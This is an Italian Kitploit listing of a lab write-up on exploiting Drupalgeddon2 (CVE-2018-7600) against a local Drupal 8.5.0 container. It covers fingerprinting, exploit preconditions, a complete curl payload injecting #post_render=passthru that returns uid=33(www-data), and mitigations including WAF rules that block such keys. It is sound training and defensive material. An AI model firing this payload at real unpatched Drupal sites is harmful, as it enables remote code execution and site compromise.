Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-7600 — Guida passo-passo di laboratorio per sfruttare CVE-2018-7600 (Drupalgeddon2) RCE in Drupal 8.5.0, che copre l'analisi della superficie d'attacco, il fingerprinting della versione e lo sfruttamento tramite iniezione di Form API. | Kitploit
Strumenti/GitHubGitHub/dungsocool/cve-2018-7600
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubdungsocool/cve-2018-7600

CVE-2018-7600

Guida passo-passo di laboratorio per sfruttare CVE-2018-7600 (Drupalgeddon2) RCE in Drupal 8.5.0, che copre l'analisi della superficie d'attacco, il fingerprinting della versione e lo sfruttamento tramite iniezione di Form API.

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

LAB 9 - CVE-2018-7600

I. ANALISI DEL SISTEMA

Identificare la Superficie d'Attacco

Inizia elencando i container in esecuzione:

docker ps

Dai risultati di docker ps, il container per questo laboratorio è:

image.png

p1/lab09:latest

Questo container espone la porta:

0.0.0.0:8011->80/tcp

Ciò indica che il servizio all'interno del container è in ascolto sulla porta 80/tcp, ed è mappato sulla porta 8011 dell'host.

La porta 80/tcp è la porta standard per HTTP. Pertanto, questo laboratorio target è molto probabilmente un'applicazione web HTTP. Per confermare il servizio web, invio una richiesta HTTP usando curl combinato con l'accesso all'interfaccia grafica della pagina web.

curl -i http://192.168.3.137:8011/

image.png

image.png

Valutazione della Superficie d'Attacco

Dalla risposta HTTP e dall'interfaccia web, sono state identificate le seguenti informazioni:

Web server: Apache/2.4.25 (Debian) Backend: PHP/7.2.3 CMS: Drupal Versione Drupal: 8.5.0 Percorso di installazione: /core/install.php Porta pubblica: 8011 -> 80/tcp

Queste informazioni fungono da impronte digitali cruciali per correlare con le CVE. In particolare, Drupal 8.5.0 è la versione direttamente correlata a CVE-2018-7600, nota anche come Drupalgeddon2.

Secondo l'avviso ufficiale di Drupal, SA-CORE-2018-002 / CVE-2018-7600 interessa le seguenti versioni:

>= 8.5.0 < 8.5.1

Il target attuale esegue:

Drupal 8.5.0

rientrando quindi nell'intervallo di versioni interessate.

⇒ Pensiero:

A questo punto, la versione Drupal 8.5.0 è una forte evidenza per identificare la CVE sospetta. Ragiono come segue:

  1. docker ps mostra che il Laboratorio espone il servizio HTTP tramite la porta 8011.
  2. curl -i restituisce una risposta HTTP valida da Apache/PHP.
  3. La risposta reindirizza a /core/install.php.
  4. L'interfaccia web mostra chiaramente Drupal 8.5.0.
  5. L'avviso Drupal conferma che Drupal >=8.5.0 <8.5.1 è interessato da CVE-2018-7600.
  6. Il target esegue esattamente Drupal 8.5.0, rendendolo idoneo secondo i criteri di versione per testare CVE-2018-7600.

Il target è Drupal 8.5.0 in esecuzione su Apache/PHP. Questa versione rientra nell'intervallo interessato da CVE-2018-7600 secondo l'avviso ufficiale di Drupal. Il passo successivo è verificare le reali condizioni di sfruttamento per accertare se il target può essere soggetto a RCE.

Verificare CVE-2018-7600 basandosi sulla versione di Drupal

image.png

Dal precedente passaggio di impronta digitale, il target mostra chiaramente: Drupal 8.5.0. Secondo l'avviso ufficiale di Drupal, la vulnerabilità SA-CORE-2018-002 / CVE-2018-7600 interessa le versioni core di Drupal:

>= 8.5.0 < 8.5.1. Il target attuale esegue esattamente Drupal 8.5.0, collocandolo nell'intervallo di versioni interessate. Secondo l'avviso Drupal, si tratta di una vulnerabilità di Esecuzione di Codice Remota nel core di Drupal, che potrebbe consentire a un attaccante di sfruttare molteplici vettori d'attacco e portare al compromesso dell'intero sito.

Tuttavia, si può notare che il target reindirizza a /core/install.php e l'interfaccia mostra la schermata di installazione di Drupal. Ciò suggerisce che Drupal potrebbe essere in uno stato di installazione incompleta. Se la configurazione del sito non è stata completata, gli endpoint comuni usati per attivare Drupalgeddon2 come /user/register, /user/password e /user/login potrebbero non funzionare correttamente. Pertanto, è necessario controllare questi endpoint.

curl -i http://192.168.3.137:8011/user/register curl -i http://192.168.3.137:8011/user/password curl -i http://192.168.3.137:8011/user/login

image.png

Si può vedere che gli endpoint vengono ancora reindirizzati a /core/install.php

Conclusione:

Il target esegue Drupal 8.5.0, rientrando nell'intervallo di versioni interessato da CVE-2018-7600 secondo l'avviso ufficiale di Drupal. Tuttavia, al momento del test, l'applicazione è in stato di installer e reindirizza continuamente rotte come /user/register, /user/password e /user/login a /core/install.php.

Ciò mostra che gli endpoint comunemente usati per verificare Drupalgeddon2 non sono ancora funzionanti come su un sito Drupal completamente installato. Pertanto, il target attualmente soddisfa solo la condizione di versione ma non soddisfa ancora le condizioni di runtime per dimostrare l'Esecuzione di Codice Remota.

=> Pensiero:

Dobbiamo provare ulteriormente che Drupal nel suo stato di runtime può elaborare le rotte/form vulnerabili, che un attaccante può accedere agli endpoint senza autenticazione, e che i payload di verifica come id possono essere eseguiti con successo.

Sul target attuale, gli endpoint reindirizzano all’installer, quindi il percorso successivo è valutare se la schermata di installazione di Drupal crea una propria superficie d'attacco, invece di concludere immediatamente una RCE Drupalgeddon2.

Valutare la superficie d'attacco dell'installer di Drupal

Dopo aver verificato che gli endpoint di runtime di Drupal come /user/register, /user/password e /user/login sono tutti reindirizzati a /core/install.php, ho proceduto ad analizzare la schermata dell'installer.

Verifica del servizio database a supporto dell'installer

Poiché l'installer di Drupal è attualmente bloccato al passaggio di configurazione del database, ho controllato se i servizi database comuni sono esposti esternamente:

nmap -sV -p 3306,5432,33060 192.168.3.137

image.png

Il target attualmente espone l'installer di Drupal esternamente, ma non sono stati rilevati servizi database accessibili direttamente dalla macchina attaccante.

Conclusione: Il laboratorio espone l'installer di Drupal 8.5.0 e presenta una divulgazione di informazioni riguardanti la versione vulnerabile. CVE-2018-7600 è un vettore sospetto valido, ma non è ancora stato provato lo sfruttamento con successo.

Condizioni di sfruttamento per CVE-2018-7600

CVE-2018-7600 sfrutta una vulnerabilità nella Form API di Drupal - il sistema di rendering dei form che utilizza la struttura Render Array. Durante l'elaborazione di una richiesta AJAX, Drupal usa il parametro element_parents per individuare gli elementi nell'albero del form senza verificare (sanitizzare) le chiavi che iniziano con il carattere #. Gli attaccanti iniettano proprietà come #post_render, #markup e #type tramite dati POST per forzare il motore di rendering a eseguire funzioni PHP arbitrarie (ad es., exec, passthru, system).

Condizione prerequisita: Almeno un endpoint che utilizza la Form API deve restituire una risposta valida (non reindirizzata, non bloccata dal controllo di accesso) in modo che l'attaccante possa inviare una richiesta AJAX contenente il payload.

Endpoint comunemente utilizzati nei PoC pubblici:

  • /user/register (modulo di registrazione - nessun login richiesto)
  • /user/password (modulo di recupero password - nessun login richiesto)
  • /user/login (modulo di login - nessun login richiesto)

Sul target attuale: Tutti e 3 gli endpoint sopra sono reindirizzati tramite 302 a /core/install.php ⇒ non ancora soddisfatta

La Form API di Drupal + il motore Render Array devono essere completamente avviati

La vulnerabilità si verifica all'interno della pipeline di elaborazione AJAX della Form API: FormBuilder → RenderArray → #post_render callback execution. Questa pipeline opera solo quando Drupal avvia tutti i sottosistemi necessari (routing, stato del form, motore di rendering).

Nello stato installer, Drupal esegue in modalità bootstrap minimale - inizializzando solo lo stretto necessario per visualizzare il modulo di installazione, ma sottosistemi come routing, AJAX handler e l'intera pipeline di rendering potrebbero non essere ancora completamente attivati.

Sul target attuale: Drupal è nello stato installer ⇒ richiede ulteriore verifica

Nessun WAF o meccanismo di filtraggio dell'input che blocchi il carattere # nelle richieste

La patch ufficiale di Drupal aggiunge la classe RequestSanitizer con il metodo stripDangerousValues() - scansionando tutti $_GET, $_POST e $_COOKIE, e rimuovendo qualsiasi chiave che inizi con # nelle fasi iniziali del bootstrap.

Se il target non è patchato (esegue 8.5.0), la classe RequestSanitizer non esiste → l'input contenente # non sarà filtrato ⇒ soddisfatta

Riepilogo delle condizioni di sfruttamento

Conclusione: Il target soddisfa la condizione di versione e l'assenza della patch. Tuttavia, le condizioni di endpoint disponibile e bootstrap completo non sono state ancora dimostrate a causa del fatto che Drupal è in stato installer. Il passo successivo è verificare se il modulo dell'installer (/core/install.php) - che utilizza anch'esso la Form API e Render Array - può essere sfruttato come sostituto degli endpoint standard.

II. SFRUTTAMENTO

Dopo aver identificato che il target esegue Drupal 8.5.0 in stato installer, gli endpoint standard tipicamente usati per sfruttare CVE-2018-7600 come /user/register, /user/password e /user/login sono tutti reindirizzati a /core/install.php. Ho pensato che ciò potesse essere dovuto al fatto che non avevo completato la configurazione dell'interfaccia, ma ho comunque voluto indagare ulteriormente.

Dopo la verifica, è stato scoperto che il modulo di installazione utilizza la stessa Form API e lo stesso motore Render Array vulnerabili. Tuttavia, la pipeline AJAX richiede che la Cache del Form funzioni — che per default utilizza il database come backend. Poiché non c'è ancora un database, la richiesta AJAX al modulo di installazione restituisce una FormAjaxException in FormBuilder.php:333, confermando che la pipeline è attivata ma fallita al passaggio di caricamento della cache.

Pensiero: Installerò Drupal usando SQLite - un database che non richiede un server dedicato, richiede solo l'accesso in scrittura al disco del container.

Sfruttamento di CVE-2018-7600 — Esecuzione di Codice Remota

Con Drupal online, l'endpoint /user/register funziona normalmente e funge da punto di iniezione. Il payload sfrutta il meccanismo di iniezione dell'array di rendering:

  • element_parents=account/mail/%23value — individua il campo mail nell'albero del form
  • mail[#post_render][]=passthru — inietta la funzione di callback passthru()
  • mail[#markup]=id — il contenuto passato a passthru() come argomento
root@kitploit:~
curl -v "http://192.168.3.137:8011/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id"

image.png

Analisi della Risposta:

Il risultato uid=33(www-data) indica che il payload è stato eseguito sul sistema operativo con i privilegi dell'utente www-data. Questo è l'utente tipicamente utilizzato per eseguire il server web Apache/PHP su Linux basato su Debian. Poiché il comando id è stato eseguito lato server e ha restituito output, viene confermata l'Esecuzione di Codice Remota con successo. Tuttavia, il privilegio corrente è www-data, non root, quindi l'ambito di controllo iniziale è limitato ai permessi del server web.

III. RACCOMANDAZIONI E MITIGAZIONI

Controllo dell'Accesso agli Endpoint

Se il sito non richiede la registrazione pubblica degli utenti, disabilita l'endpoint /user/register:

  • Amministrazione → Configurazione → Impostazioni account → Chi può registrare account → selezionare Solo amministratori

Regole WAF — Blocco dei Payload Caratteristici

Aggiungi regole WAF per bloccare le richieste contenenti chiavi come #post_render, #pre_render o #markup nel corpo POST:

root@kitploit:~
SecRule REQUEST_BODY "@contains #post_render" "deny,status:403"
SecRule REQUEST_BODY "@contains #pre_render" "deny,status:403"
SecRule ARGS_NAMES "@rx ^#" "deny,status:403"

Principio del Minimo Privilegio per il Server Web

Il server web non deve essere eseguito con privilegi root. I risultati del laboratorio confermano che il processo viene eseguito come uid=33(www-data) — che è la configurazione corretta, ma vanno apportati i seguenti miglioramenti:

  • Limitare i permessi di scrittura per www-data strettamente alle directory necessarie (sites/default/files/)
  • Montare il filesystem in sola lettura per le directory del codice (/var/www/html/core/, /var/www/html/modules/)

Non Esporre l'Installer su Internet

In questo laboratorio, l'installer è pubblico — un attaccante può sfruttarlo per reinstallare Drupal usando SQLite ed effettuare lo sfruttamento. La produzione reale richiede:

  • Eliminare o limitare l'accesso a /core/install.php dopo il completamento dell'installazione
  • Aggiungere una regola .htaccess o una configurazione del server web per bloccare l'accesso esterno a /core/install.php
root@kitploit:~
<Files "install.php">
    Order deny,allow
    Deny from all
</Files>
Scarica lo strumento